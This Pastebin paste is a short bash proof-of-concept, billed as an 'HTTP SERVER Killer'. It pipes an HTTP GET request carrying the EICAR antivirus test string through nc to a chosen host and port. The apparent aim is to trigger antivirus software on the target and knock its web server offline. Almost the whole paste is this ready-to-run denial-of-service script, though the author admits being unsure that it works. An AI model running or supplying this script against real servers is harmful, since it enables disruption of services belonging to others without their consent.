Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #EICAR AnyVirus HTTP SERVER Killer PoC exploit by robercik101 (robercik10192@gmail.com)
- #It is only an experiment, I don't ensure that it really work
- #CODE START HERE
- if [ $# == 0 ]
- then
- echo -e "Usage: $0 host port\n"
- echo -e "Example: $0 localhost 80\n"
- exit
- fi
- export PAYLOAD='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
- export HOST=$1;
- export PORT=$2;
- echo -e "GET /$PAYLOAD HTTP/1.1\nHost:localhost\n"|nc $HOST $PORT>/dev/null
- echo -e "Payload sent successfully\n"
- #CODE END HERE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement